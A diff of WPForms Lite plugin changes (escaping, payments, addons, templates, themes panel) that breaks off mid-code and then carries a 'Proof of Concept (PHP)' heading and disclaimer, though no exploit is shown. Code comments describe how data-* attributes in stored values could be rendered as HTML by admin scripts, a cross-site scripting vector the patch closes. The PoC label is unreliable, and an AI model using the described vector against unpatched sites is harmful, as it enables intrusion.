+	/**
+	 * Modify upgrade link.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $upgrade Upgrade links.
+	 */
+	return apply_filters( 'wpforms_upgrade_link', $upgrade );
+}
+
+/**
+ * Get an upgrade modal text.
+ *
+ * @since 1.4.4
+ * @since 2.0.5 Moved from `includes/admin/admin.php`, so the front-end themes editor can use it.
+ *
+ * @param string $type Either "pro" or "elite". Default is "pro".
+ *
+ * @return string
+ * @noinspection HtmlUnknownTarget
+ */
+function wpforms_get_upgrade_modal_text( $type = 'pro' ) {
+
+	switch ( $type ) {
+		case 'elite':
+			$level = 'WPForms Elite';
+			break;
+
+		case 'pro':
+		default:
+			$level = 'WPForms Pro';
+	}
+
+	if ( wpforms()->is_pro() ) {
+		return '<p>' .
+			sprintf(
+				wp_kses( /* translators: %s - WPForms.com contact page URL. */
+					__( 'Thank you for considering upgrading. If you have any questions, please <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
+					[
+						'a' => [
+							'href'   => [],
+							'target' => [],
+							'rel'    => [],
+						],
+					]
+				),
+				esc_url(
+					wpforms_utm_link(
+						'https://wpforms.com/contact/',
+						'Upgrade Follow Up Modal',
+						'Contact Support'
+					)
+				)
+			) .
+			'</p>' .
+			'<p>' .
+			wp_kses(
+				__( 'After upgrading, your license key will remain the same.<br>You may need to do a quick refresh to unlock your new addons. In your WordPress admin, go to <strong>WPForms » Settings</strong>. If you don't see your updated plan, click <em>refresh</em>.', 'wpforms-lite' ),
+				[
+					'strong' => [],
+					'br'     => [],
+					'em'     => [],
+				]
+			) .
+			'</p>' .
+			'<p>' .
+			sprintf(
+				wp_kses( /* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
+					__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
+					[
+						'a' => [
+							'href'   => [],
+							'target' => [],
+							'rel'    => [],
+						],
+					]
+				),
+				esc_url( wpforms_utm_link( 'https://wpforms.com/docs/upgrade-wpforms-license/', 'Upgrade License Doc', 'Upgrade Now' ) )
+			) .
+			'</p>';
+	}
+
+	return '<p>' .
+		sprintf(
+			wp_kses( /* translators: %s - WPForms.com contact page URL. */
+				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
+				[
+					'a' => [
+						'href'   => [],
+						'target' => [],
+						'rel'    => [],
+					],
+				]
+			),
+			esc_url(
+				wpforms_utm_link(
+					'https://wpforms.com/contact/',
+					'Upgrade Intention Alert',
+					'Upgrade Intention Alert'
+				)
+			)
+		) .
+		'</p>' .
+		'<p>' .
+		sprintf(
+			wp_kses( /* translators: %s - license level, WPForms Pro or WPForms Elite. */
+				__( 'After purchasing a license, just <strong>enter your license key on the WPForms Settings page</strong>. This will let your site automatically upgrade to %s! (Don't worry, all your forms and settings will be preserved.)', 'wpforms-lite' ),
+				[
+					'strong' => [],
+					'br'     => [],
+				]
+			),
+			$level
+		) .
+		'</p>' .
+		'<p>' .
+		sprintf(
+			wp_kses( /* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
+				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
+				[
+					'a' => [
+						'href'   => [],
+						'target' => [],
+						'rel'    => [],
+					],
+				]
+			),
+			esc_url(
+				wpforms_utm_link(
+					'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/',
+					'Upgrade Intention Alert',
+					'Upgrade Documentation'
+				)
+			)
+		) .
+		'</p>';
+}
--- a/wpforms-lite/includes/functions/escape-sanitize.php
+++ b/wpforms-lite/includes/functions/escape-sanitize.php
@@ -522,7 +522,8 @@
  */
 function wpforms_esc_entry_field_value( $value, bool $is_iframe_allowed = false ): string {

-	$allowed_html = wp_kses_allowed_html( 'post' );
+	// Stored values must not carry `data-*` attributes: admin scripts read them, e.g. tooltipster's `data-tooltip-content`.
+	$allowed_html = wpforms_strip_data_attributes_from_allowed_html( wp_kses_allowed_html( 'post' ) );

 	if ( ! $is_iframe_allowed ) {
 		return wp_kses( (string) $value, $allowed_html );
@@ -669,23 +670,15 @@
 }

 /**
- * Get the HTML allowed in a field value that a smart tag prints into front-end markup.
+ * Remove every `data-*` attribute from a kses allowlist.
  *
- * The `post` allowlist without form controls and `data-*` attributes. Front-end scripts act on both:
- * jQuery Validation validates any control inside the form and renders its `data-msg` attribute as HTML.
+ * @since 2.0.5
  *
- * @since 2.0.3.1
- *
- * @param bool $is_iframe_allowed Whether the iframe tag is allowed in the value.
+ * @param array $tags Allowed HTML tags and attributes.
  *
  * @return array
  */
-function wpforms_get_allowed_html_tags_for_smart_tag_value( bool $is_iframe_allowed = false ): array {
-
-	$tags = array_diff_key(
-		wp_kses_allowed_html( 'post' ),
-		array_flip( [ 'button', 'fieldset', 'form', 'input', 'label', 'legend', 'optgroup', 'option', 'select', 'textarea' ] )
-	);
+function wpforms_strip_data_attributes_from_allowed_html( array $tags ): array {

 	foreach ( $tags as $tag => $attributes ) {
 		if ( ! is_array( $attributes ) ) {
@@ -702,6 +695,30 @@
 		);
 	}

+	return $tags;
+}
+
+/**
+ * Get the HTML allowed in a field value that a smart tag prints into front-end markup.
+ *
+ * The `post` allowlist without form controls and `data-*` attributes. Front-end scripts act on both:
+ * jQuery Validation validates any control inside the form and renders its `data-msg` attribute as HTML.
+ *
+ * @since 2.0.3.1
+ *
+ * @param bool $is_iframe_allowed Whether the iframe tag is allowed in the value.
+ *
+ * @return array
+ */
+function wpforms_get_allowed_html_tags_for_smart_tag_value( bool $is_iframe_allowed = false ): array {
+
+	$tags = wpforms_strip_data_attributes_from_allowed_html(
+		array_diff_key(
+			wp_kses_allowed_html( 'post' ),
+			array_flip( [ 'button', 'fieldset', 'form', 'input', 'label', 'legend', 'optgroup', 'option', 'select', 'textarea' ] )
+		)
+	);
+
 	// Added after the `data-*` removal: the iframe needs `data-src`, which the caller URL-validates.
 	if ( $is_iframe_allowed ) {
 		$tags = wpforms_get_allowed_html_tags_for_entry_field_value( $tags, 'post' );
--- a/wpforms-lite/includes/functions/forms.php
+++ b/wpforms-lite/includes/functions/forms.php
@@ -416,6 +416,7 @@
 	$fields_supported = [
 		'checkbox',
 		'email',
+		'file-upload',
 		'hidden',
 		'net_promoter_score',
 		'number',
--- a/wpforms-lite/includes/functions/payments.php
+++ b/wpforms-lite/includes/functions/payments.php
@@ -818,7 +818,7 @@
 			empty( $field['amount'] ) ||
 			! in_array( $field['type'], $payment_fields, true ) ||
 			empty( wpforms_sanitize_amount( $field['amount'] ) ) ||
-			( isset( $field['quantity'] ) && ! $field['quantity'] )
+			wpforms_payment_is_zero_quantity( $field )
 		) {
 			// Remove all non-payment fields as well as payment fields with no amount or empty quantity.
 			unset( $fields[ $id ] );
@@ -865,6 +865,22 @@
 }

 /**
+ * Determine whether a payment field was submitted with a quantity of 0.
+ *
+ * Only payment fields with quantity enabled carry the `quantity` key, so a field without it is never a zero-quantity item.
+ *
+ * @since 2.0.5
+ *
+ * @param array $field Entry field data.
+ *
+ * @return bool
+ */
+function wpforms_payment_is_zero_quantity( array $field ): bool {
+
+	return isset( $field['quantity'] ) && ! $field['quantity'];
+}
+
+/**
  * Formatted payment field value with quantity.
  *
  * @since 1.8.7
--- a/wpforms-lite/src/Access/Capabilities.php
+++ b/wpforms-lite/src/Access/Capabilities.php
@@ -28,6 +28,14 @@
 	}

 	/**
+	 * Map form meta caps on demand; Lite access is `manage_options` only.
+	 *
+	 * @since 2.0.5
+	 */
+	public function enable_meta_caps(): void {
+	}
+
+	/**
 	 * Check permissions for currently logged in user.
 	 *
 	 * @since 1.5.8
--- a/wpforms-lite/src/Admin/Addons/Addons.php
+++ b/wpforms-lite/src/Admin/Addons/Addons.php
@@ -54,6 +54,13 @@
 	const ULTIMATE = 'ultimate';

 	/**
+	 * Addons whose feature is built into core and that the admin must no longer be offered.
+	 *
+	 * @since 2.0.5
+	 */
+	private const BUNDLED_IN_CORE = [ 'wpforms-drip' ];
+
+	/**
 	 * Addons cache object.
 	 *
 	 * @since 1.6.6
@@ -144,10 +151,26 @@
 		$this->addons = $this->cache->get();

 		$this->populate_addons_data();
+		$this->remove_bundled_addons();
 		$this->hooks();
 	}

 	/**
+	 * Drop the addons whose feature is built into core.
+	 *
+	 * The feed keeps listing them for the cores that still need them; here they would only show up
+	 * as a locked item next to the core feature. Custom Captcha stays: its field education reads the entry.
+	 *
+	 * @since 2.0.5
+	 */
+	private function remove_bundled_addons(): void {
+
+		foreach ( self::BUNDLED_IN_CORE as $slug ) {
+			unset( $this->addons[ $slug ] );
+		}
+	}
+
+	/**
 	 * Hooks.
 	 *
 	 * @since 1.6.6
@@ -188,6 +211,8 @@
 			$this->cache->update( true );

 			$this->addons = $this->cache->get();
+
+			$this->remove_bundled_addons();
 		}

 		// WPForms 1.8.7 core includes Custom Captcha.
--- a/wpforms-lite/src/Admin/Builder/Ajax/TemplatesLoader.php
+++ b/wpforms-lite/src/Admin/Builder/Ajax/TemplatesLoader.php
@@ -210,6 +210,7 @@

 		// Layer 2: Try to load prepared templates from the cache.
 		$this->load_prepared_templates_from_cache( $cache_obj );
+		$this->apply_current_favorites();

 		// Get filtered templates.
 		$filtered = $this->get_filtered_templates(
@@ -282,6 +283,32 @@
 	}

 	/**
+	 * Set each prepared template's favorite flag from the saved favorites.
+	 *
+	 * A batch request that started before a favorite was saved can rebuild the prepared
+	 * templates cache with the old flags after the save cleared it, so the cached flags
+	 * cannot be trusted.
+	 *
+	 * @since 2.0.5
+	 */
+	private function apply_current_favorites(): void {
+
+		$builder_templates = wpforms()->obj( 'builder_templates' );
+
+		if ( ! $builder_templates ) {
+			return;
+		}
+
+		foreach ( $this->prepared_templates as $id => $template_data ) {
+			if ( ! isset( $template_data['template']['slug'] ) ) {
+				continue;
+			}
+
+			$this->prepared_templates[ $id ]['template']['favorite'] = $builder_templates->is_favorite( $template_data['template']['slug'] );
+		}
+	}
+
+	/**
 	 * Build a unique cache key for the batch request.
 	 *
 	 * @since 2.0.0
@@ -292,6 +319,13 @@
 	 */
 	private function build_batch_cache_key( array $params ): string {

+		$builder_templates = wpforms()->obj( 'builder_templates' );
+
+		// The rendered batch shows the favorite flags, so a change to the favorites needs a new key.
+		$favorites = $builder_templates ? array_keys( $builder_templates->get_favorites_list() ) : [];
+
+		sort( $favorites );
+
 		return wp_json_encode(
 			[
 				'offset'      => $params['offset'],
@@ -302,6 +336,7 @@
 				'favorite'    => $params['favorite'],
 				'version'     => WPFORMS_VERSION,
 				'user'        => get_current_user_id(),
+				'favorites'   => $favorites,
 			]
 		);
 	}
--- a/wpforms-lite/src/Admin/Builder/Settings/Themes.php
+++ b/wpforms-lite/src/Admin/Builder/Settings/Themes.php
@@ -2,9 +2,7 @@

 namespace WPFormsAdminBuilderSettings;

-use WPFormsFrontendCSSVars;
-use WPFormsIntegrationsGutenbergRestApi;
-use WPFormsIntegrationsGutenbergThemesData;
+use WPFormsFrontendThemesEditor;
 use WPForms_Builder_Panel_Settings;

 /**
@@ -15,102 +13,12 @@
 class Themes {

 	/**
-	 * Form data.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var array
-	 */
-	public $form_data;
-
-	/**
-	 * CSS vars class instance.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var CSSVars
-	 */
-	protected $css_vars_obj;
-
-	/**
-	 * Rest API class instance.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var ThemesData
-	 */
-	protected $themes_data_obj;
-
-	/**
-	 * Size options for themes settings.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var array
-	 */
-	protected $size_options;
-
-	/**
-	 * Border type options for themes settings.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var array
-	 */
-	private $border_options;
-
-	/**
-	 * Is admin.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var bool
-	 */
-	private $is_admin;
-
-	/**
-	 * Whether a modern engine is enabled.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var bool
-	 */
-	private $is_modern;
-
-	/**
-	 * Whether full style is used.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @var bool
-	 */
-	private $is_full_styles;
-
-	/**
 	 * Init class.
 	 *
 	 * @since 1.8.8
 	 */
 	public function init(): void {

-		$this->css_vars_obj   = wpforms()->obj( 'css_vars' );
-		$this->is_admin       = current_user_can( 'manage_options' );
-		$this->is_modern      = wpforms_get_render_engine() === 'modern';
-		$this->is_full_styles = (int) wpforms_setting( 'disable-css', '1' ) === 1;
-
-		$this->size_options = [
-			'small'  => esc_html__( 'Small', 'wpforms-lite' ),
-			'medium' => esc_html__( 'Medium', 'wpforms-lite' ),
-			'large'  => esc_html__( 'Large', 'wpforms-lite' ),
-		];
-
-		$this->border_options = [
-			'none'   => esc_html__( 'None', 'wpforms-lite' ),
-			'solid'  => esc_html__( 'Solid', 'wpforms-lite' ),
-			'dashed' => esc_html__( 'Dashed', 'wpforms-lite' ),
-			'dotted' => esc_html__( 'Dotted', 'wpforms-lite' ),
-		];
-
 		$this->hooks();
 	}

@@ -119,1138 +27,457 @@
 	 *
 	 * @since 1.8.8
 	 */
-	protected function hooks(): void {
+	private function hooks(): void {

-		// If the current user can't add posts, he can't save themes either. Enqueue no-access assets.
-		if ( ! current_user_can( 'edit_posts' ) ) {
-			add_action( 'admin_enqueue_scripts', [ $this, 'enqueues_no_access' ] );
-			add_filter( 'wpforms_builder_panel_sidebar_section_classes', [ $this, 'add_pro_class' ], 10, 3 );
+		add_action( 'wpforms_form_settings_panel_content', [ $this, 'launcher_panel_content' ] );

-			return;
-		}
-
-		add_action( 'wpforms_form_settings_panel_content', [ $this, 'panel_content' ] );
-		add_action( 'wpforms_builder_panel_sidebar_after', [ $this, 'sidebar_content' ], 10, 2 );
-		add_action( 'admin_enqueue_scripts', [ $this, 'enqueues' ] );
+		// After the builder registers its scripts (PHP_INT_MAX), so the
+		// inline script attaches to the wpforms-builder handle.
+		add_action( 'admin_enqueue_scripts', [ $this, 'launcher_enqueues' ], PHP_INT_MAX );
 	}

 	/**
-	 * Enqueue assets for the builder themes.
+	 * Whether the front-end themes editor is available for this site.
+	 *
+	 * @since 2.0.5
 	 *
-	 * @since 1.9.7
+	 * @return bool
 	 */
-	public function enqueues(): void {
+	private function is_editor_supported(): bool {

-		$min = wpforms_get_min_suffix();
+		$editor = $this->get_editor();

-		wp_enqueue_script(
-			'wpforms-builder-themes',
-			WPFORMS_PLUGIN_URL . "assets/js/admin/builder/themes/builder-themes{$min}.js",
-			[ 'wpforms-builder', 'wp-api-fetch' ],
-			WPFORMS_VERSION,
-			true
-		);
-
-		wp_enqueue_style(
-			'wpforms-full',
-			WPFORMS_PLUGIN_URL . "assets/css/frontend/modern/wpforms-full{$min}.css",
-			[],
-			WPFORMS_VERSION
-		);
-
-		wp_localize_script(
-			'wpforms-builder-themes',
-			'wpforms_builder_themes',
-			$this->get_localize_data()
-		);
-
-		wp_add_inline_style( 'wpforms-full', $this->css_vars_obj->get_root_vars_css() );
+		return $editor !== null && $editor->is_supported();
 	}

 	/**
-	 * Enqueue assets for the builder themes for the users who don't have access to the theme settings.
+	 * Get the front-end themes editor instance.
 	 *
-	 * @since 1.9.8
+	 * @since 2.0.5
+	 *
+	 * @return ThemesEditor|null
 	 */
-	public function enqueues_no_access(): void {
+	private function get_editor(): ?ThemesEditor {

-		$min = wpforms_get_min_suffix();
+		$editor = wpforms()->obj( 'themes_editor' );

-		wp_enqueue_script(
-			'wpforms-builder-themes-no-access',
-			WPFORMS_PLUGIN_URL . "assets/js/admin/builder/themes/builder-themes-no-access{$min}.js",
-			[ 'wpforms-builder', 'wp-api-fetch' ],
-			WPFORMS_VERSION,
-			true
-		);
-
-		wp_localize_script(
-			'wpforms-builder-themes-no-access',
-			'wpforms_builder_themes_no_access',
-			$this->get_localize_data()
-		);
+		return $editor instanceof ThemesEditor ? $editor : null;
 	}

 	/**
-	 * Add a class to the themes section if the user doesn't have access to it.
+	 * Render the Themes panel as a front-end editor launcher.
 	 *
-	 * @since 1.9.8
+	 * @since 2.0.5
 	 *
-	 * @param array  $classes Sidebar section classes.
-	 * @param string $name    Sidebar section name.
-	 * @param string $slug    Sidebar section slug.
+	 * @param WPForms_Builder_Panel_Settings $instance Settings panel instance.
 	 *
-	 * @return array
-	 * @noinspection PhpUnusedParameterInspection
+	 * @noinspection HtmlUnknownTarget
 	 */
-	public function add_pro_class( array $classes, string $name, string $slug ): array {
+	public function launcher_panel_content( WPForms_Builder_Panel_Settings $instance ): void {

-		if ( $slug !== 'themes' ) {
-			return $classes;
-		}
+		$form_data    = (array) $instance->form_data;
+		$editor       = $this->get_editor();
+		$support      = $editor !== null ? $editor->get_support() : null;
+		$notice       = $this->get_addon_notice( $editor, $form_data );
+		$is_lead_form = $notice === 'lead_forms';
+		$is_cf_form   = $notice === 'conversational_forms';
+		$is_fp_form   = $notice === 'form_pages';

-		return array_merge( $classes, [ 'wpforms-panel-sidebar-section-no-access' ] );
-	}
-
-	/**
-	 * Get localize data.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @return array
-	 */
-	protected function get_localize_data(): array {
+		?>
+		<div class="wpforms-panel-content-section wpforms-panel-content-section-themes">
+			<div class="wpforms-panel-content-section-title">
+				<?php esc_html_e( 'Form Themes', 'wpforms-lite' ); ?>
+			</div>

-		return [
-			'modules'         => $this->get_modules(),
-			'sizes'           => [
-				'field-size'            => CSSVars::FIELD_SIZE,
-				'label-size'            => CSSVars::LABEL_SIZE,
-				'button-size'           => CSSVars::BUTTON_SIZE,
-				'container-shadow-size' => CSSVars::CONTAINER_SHADOW_SIZE,
-			],
-			'strings'         => [
-				'heads_up'                 => esc_html__( 'Heads Up!', 'wpforms-lite' ),
-				'themes_error'             => esc_html__( 'Error loading themes. Please try again later.', 'wpforms-lite' ),
-				'button_background'        => esc_html__( 'Button Background', 'wpforms-lite' ),
-				'button_text'              => esc_html__( 'Button Text', 'wpforms-lite' ),
-				'copy_paste_error'         => esc_html__( 'There was an error parsing your JSON code. Please check your code and try again.', 'wpforms-lite' ),
-				'field_label'              => esc_html__( 'Field Label', 'wpforms-lite' ),
-				'field_sublabel'           => esc_html__( 'Field Sublabel', 'wpforms-lite' ),
-				'field_border'             => esc_html__( 'Field Border', 'wpforms-lite' ),
-				'theme_delete_title'       => esc_html__( 'Delete Form Theme', 'wpforms-lite' ),
-				// Translators: %1$s: Theme name.
-				'theme_delete_confirm'     => esc_html__( 'Are you sure you want to delete the %1$s theme?', 'wpforms-lite' ),
-				'theme_delete_cant_undone' => esc_html__( 'This cannot be undone.', 'wpforms-lite' ),
-				'theme_delete_yes'         => esc_html__( 'Yes, Delete', 'wpforms-lite' ),
-				'theme_copy'               => esc_html__( 'Copy', 'wpforms-lite' ),
-				'theme_custom'             => esc_html__( 'Custom Theme', 'wpforms-lite' ),
-				'theme_noname'             => esc_html__( 'Noname Theme', 'wpforms-lite' ),
-				'pro_sections'             => [
-					'background' => esc_html__( 'Background Styles', 'wpforms-lite' ),
-					'container'  => esc_html__( 'Container Styles', 'wpforms-lite' ),
-					'themes'     => esc_html__( 'Themes', 'wpforms-lite' ),
-				],
-				'permission_modal'         => [
-					'title'   => esc_html__( 'Insufficient Permissions', 'wpforms-lite' ),
-					'content' => esc_html__( "Sorry, your user role doesn't have permission to access this feature.", 'wpforms-lite' ),
-					'confirm' => esc_html__( 'OK', 'wpforms-lite' ),
-				],
-			],
-			'isAdmin'         => $this->is_admin,
-			'isPro'           => wpforms()->is_pro(),
-			'isModern'        => $this->is_modern,
-			'isFullStyles'    => $this->is_full_styles,
-			'route_namespace' => RestApi::ROUTE_NAMESPACE,
-		];
-	}
+			<?php // All blocks render: the Themes click shows one by the current Lead Form Mode and Conversational Forms toggles. ?>
+			<div class="wpforms-builder-themes-lf-content"<?php echo $is_lead_form ? '' : ' hidden'; ?>>
+				<?php $this->render_lead_forms_notice(); ?>
+			</div>

-	/**
-	 * Get Form Builder themes modules.
-	 *
-	 * @since 1.9.7
-	 *
-	 * @return array Modules list.
-	 */
-	public function get_modules(): array {
+			<?php if ( $support !== null && $support->is_conversational_forms_active() ) : ?>
+				<div class="wpforms-builder-themes-cf-content"<?php echo $is_cf_form ? '' : ' hidden'; ?>>
+					<?php $this->render_conversational_forms_notice(); ?>
+				</div>
+			<?php endif; ?>

-		$min = wpforms_get_min_suffix();
+			<?php if ( $support !== null && $support->is_form_pages_active() ) : ?>
+				<div class="wpforms-builder-themes-fp-content"<?php echo $is_fp_form ? '' : ' hidden'; ?>>
+					<?php $this->render_form_pages_notice(); ?>
+				</div>
+			<?php endif; ?>

-		return [
-			[
-				'name' => 'common',
-				'path' => "./modules/common{$min}.js",
-			],
-			[
-				'name' => 'themes',
-				'path' => "./modules/themes{$min}.js",
-			],
-			[
-				'name' => 'stockPhotos',
-				'path' => "./modules/stock-photos{$min}.js",
-			],
-			[
-				'name' => 'background',
-				'path' => "./modules/background{$min}.js",
-			],
-			[
-				'name' => 'advancedSettings',
-				'path' => "./modules/advanced-settings{$min}.js",
-			],
-		];
+			<div class="wpforms-builder-themes-launcher-content"<?php echo $notice !== '' ? ' hidden' : ''; ?>>
+				<?php $this->render_launcher( $editor, absint( $form_data['id'] ?? 0 ) ); ?>
+			</div>
+		</div>
+		<?php
 	}

 	/**
-	 * Add a content for `Themes` panel.
-	 *
-	 * @since 1.8.8
+	 * Render the launcher button, or the notice explaining why the editor cannot run.
 	 *
-	 * @param WPForms_Builder_Panel_Settings $instance Settings panel instance.
+	 * @since 2.0.5
 	 *
-	 * @noinspection HtmlUnknownTarget
+	 * @param ThemesEditor|null $editor  Front-end editor, null when it is not registered.
+	 * @param int               $form_id Form ID.
 	 */
-	public function panel_content( WPForms_Builder_Panel_Settings $instance ): void {
+	private function render_launcher( ?ThemesEditor $editor, int $form_id ): void {

-		$this->form_data = $instance->form_data;
-		$url             = wpforms_utm_link( 'https://wpforms.com/docs/styling-your-forms/', 'Builder Themes', 'Description Link' );
+		if ( ! $this->is_editor_supported() || $editor === null ) {
+			$this->render_unsupported_notice();
+
+			return;
+		}

 		?>
-		<div class="wpforms-panel-content-section wpforms-panel-content-section-themes">
-			<div class="wpforms-panel-content-section-themes-inner">
-				<div class="wpforms-panel-content-section-themes-top">
-					<div class="wpforms-panel-content-section-title">
-						<?php esc_html_e( 'Form Themes', 'wpforms-lite' ); ?>
-					</div>
-
-					<div class="wpforms-panel-content-section-themes-preview">
-						<p class="wpforms-panel-content-section-themes-preview-description">
-							<?php
-								echo wp_kses_post(
-									sprintf(
-										/* translators: %s - URL to the documentation. */
-										__( 'Customize the look and feel of your form with premade themes or simple style settings that allow you to use your own colors to match your brand. Themes and style settings are also available in the Block Editor and Elementor, where you can see a realtime preview. <a href="%s" target="_blank">Learn more about styling your forms</a>.', 'wpforms-lite' ),
-										$url
-									)
-								);
-							?>
-						</p>
-
-						<div class="wpforms-alert wpforms-alert-warning wpforms-alert-warning-wide wpforms-builder-themes-preview-notice">
-							<h4>
-								<?php esc_html_e( 'Preview only', 'wpforms-lite' ); ?>
-							</h4>
-							<p>
-								<?php esc_html_e( 'The fields shown below are for demo purposes and do not reflect the fields in your actual form.', 'wpforms-lite' ); ?>
-							</p>
-						</div>
-
-						<?php
-						echo wpforms_render( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-							'builder/themes/notices',
-							[
-								'is_modern'      => $this->is_modern,
-								'is_full_styles' => $this->is_full_styles,
-							],
-							true
-						);
-
-							// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-							echo wpforms_render( 'builder/themes/preview' );
-						?>
-					</div>
-
-				</div> <!-- .wpforms-panel-content-section-themes-top -->
-			</div> <!-- .wpforms-panel-content-section-themes-inner -->
-		</div> <!-- .wpforms-panel-content-section-themes -->
+		<p>
+			<?php esc_html_e( 'Themes are edited live on your site with the front-end theme editor.', 'wpforms-lite' ); ?>
+		</p>
+
+		<a href="<?php echo esc_url( $editor->get_editor_url( $form_id ) ); ?>" target="_blank" rel="noopener" class="wpforms-btn wpforms-btn-md wpforms-btn-orange">
+			<?php esc_html_e( 'Edit Your Theme', 'wpforms-lite' ); ?>
+		</a>
 		<?php
 	}

 	/**
-	 * Add content for the Themes Sidebar.
+	 * Which addon notice the panel opens on: the addon that owns the form's styling and does not bridge the editor yet.
 	 *
-	 * @param object $form Current form object.
-	 * @param string $slug Current panel slug.
+	 * @since 2.0.5
 	 *
-	 * @since 1.9.7
+	 * @param ThemesEditor|null $editor    Front-end editor, null when it is not registered.
+	 * @param array             $form_data Form data.
+	 *
+	 * @return string `lead_forms`, `conversational_forms`, `form_pages`, or empty for the launcher.
 	 */
-	public function sidebar_content( $form, $slug ): void {
+	private function get_addon_notice( ?ThemesEditor $editor, array $form_data ): string {

-		if ( $slug !== 'settings' ) {
-			return;
+		if ( $editor === null ) {
+			return '';
 		}

-		$form_obj = wpforms()->obj( 'form' );
+		$support = $editor->get_support();

-		if ( ! $form_obj || ! isset( $form->ID ) ) {
-			return;
+		if ( $support->is_unstyled_lead_form( $form_data ) ) {
+			return 'lead_forms';
 		}

-		$form_data = $form_obj->get( $form->ID, [ 'content_only' => true ] );
+		if ( $editor->is_form_supported( $form_data ) ) {
+			return '';
+		}

-		$this->form_data = $form_data;
+		if ( $support->is_conversational_form( $form_data ) ) {
+			return 'conversational_forms';
+		}

-		$this->show_sidebar_html();
+		return $support->is_form_page_form( $form_data ) ? 'form_pages' : '';
 	}

 	/**
-	 * Show sidebar HTML.
+	 * Render the education notice shown when the front-end editor cannot run.
 	 *
-	 * @since 1.9.7
+	 * Mirrors the legacy Themes panel content, minus the demo form preview.
+	 *
+	 * @since 2.0.5
 	 */
-	private function show_sidebar_html(): void {
-		?>
-		<div id="wpforms-builder-themes-sidebar" class="wpforms-hidden">
-			<div class="wpforms-builder-themes-sidebar-head">
-				<button id="wpforms-builder-themes-back"> <?php esc_html_e( 'Back to Settings', 'wpforms-lite' ); ?></button>
-			</div>
-			<div id="wpforms-builder-themes-sidebar-tabs">
-				<a href="#" class="active"><?php esc_html_e( 'General', 'wpforms-lite' ); ?></a>
-				<?php if ( $this->is_admin ) : ?>
-					<a href="#"><?php esc_html_e( 'Advanced', 'wpforms-lite' ); ?></a>
-				<?php endif; ?>
-			</div>
-			<div class="wpforms-builder-themes-sidebar-content">
+	private function render_unsupported_notice(): void {

-				<div class="wpforms-builder-themes-sidebar-general wpforms-builder-themes-sidebar-tab-content">
-					<?php $this->show_sidebar_themes(); ?>
-					<div class="wpforms-builder-themes-restricted <?php echo esc_attr( ! $this->is_admin ? 'wpforms-hidden' : '' ); ?>">
-						<?php $this->show_sidebar_field_styles(); ?>
-						<?php $this->show_sidebar_label_styles(); ?>
-						<?php $this->show_sidebar_button_styles(); ?>
-						<?php $this->show_sidebar_container_styles(); ?>
-						<?php $this->show_sidebar_background_styles(); ?>
-						<?php $this->show_sidebar_other_styles(); ?>
-					</div>
-				</div>
-				<div class="wpforms-builder-themes-sidebar-advanced wpforms-builder-themes-sidebar-tab-content wpforms-hidden">
-					<?php $this->show_sidebar_advanced(); ?>
-				</div>
+		$docs_url = wpforms_utm_link( 'https://wpforms.com/docs/styling-your-forms/', 'Builder Themes', 'Description Link' );

-			</div>
+		$settings_url = add_query_arg(
+			[
+				'page' => 'wpforms-settings',
+				'view' => 'general',
+			],
+			admin_url( 'admin.php' )
+		);
+
+		$editor     = $this->get_editor();
+		$reason     = $editor ? $editor->get_support()->get_unsupported_reason() : '';
+		$is_fixable = $reason !== '';
+
+		if ( ! $is_fixable ) {
+			$reason = __( 'The front-end theme editor is not available on this site.', 'wpforms-lite' );
+		}
+
+		?>
+		<p class="wpforms-panel-content-section-themes-description">
+			<?php
+				echo wp_kses_post(
+					sprintf(
+						/* translators: %s - URL to the documentation. */
+						__( 'Customize the look and feel of your form with premade themes or simple style settings that allow you to use your own colors to match your brand. <a href="%s" target="_blank">Learn more about styling your forms</a>.', 'wpforms-lite' ),
+						$docs_url
+					)
+				);
+			?>
+		</p>
+
+		<div class="wpforms-alert wpforms-alert-warning wpforms-builder-themes-style-notice">
+			<h4><?php esc_html_e( 'Want to customize your form styles without editing CSS?', 'wpforms-lite' ); ?></h4>
+			<p><?php echo esc_html( $reason ); ?></p>
+			<?php if ( $is_fixable ) : // A reason Settings cannot fix would make the CTA mislead. ?>
+				<a href="<?php echo esc_url( $settings_url ); ?>" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Go to Settings', 'wpforms-lite' ); ?></a>
+			<?php endif; ?>
 		</div>
 		<?php
 	}

 	/**
-	 * Show sidebar themes.
+	 * Render the notice shown when Lead Form Mode owns the form styling.
 	 *
-	 * @since 1.9.7
+	 * The link switches to the Lead Forms settings section in place, wired by
+	 * the inline script {@see launcher_enqueues()} registers.
 	 *
-	 * @return void
+	 * @since 2.0.5
 	 */
-	private function show_sidebar_themes(): void {
+	private function render_lead_forms_notice(): void {

 		?>
-		<div class="wpforms-add-fields-group">
-			<a href="#" class="wpforms-add-fields-heading" data-group="themes">
-				<span><?php esc_html_e( 'Themes', 'wpforms-lite' ); ?></span>
-				<i class="fa fa-angle-down"></i>
-			</a>
-			<div class="wpforms-add-fields-buttons">
-				<?php
-
-				wpforms_panel_field(
-					'text',
-					'themes',
-					'wpformsTheme',
-					$this->form_data,
-					esc_html__( 'Theme', 'wpforms-lite' ),
-					[
-						'parent' => 'settings',
-						'type'   => 'hidden',
-						'value'  => $this->form_data['settings']['themes']

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

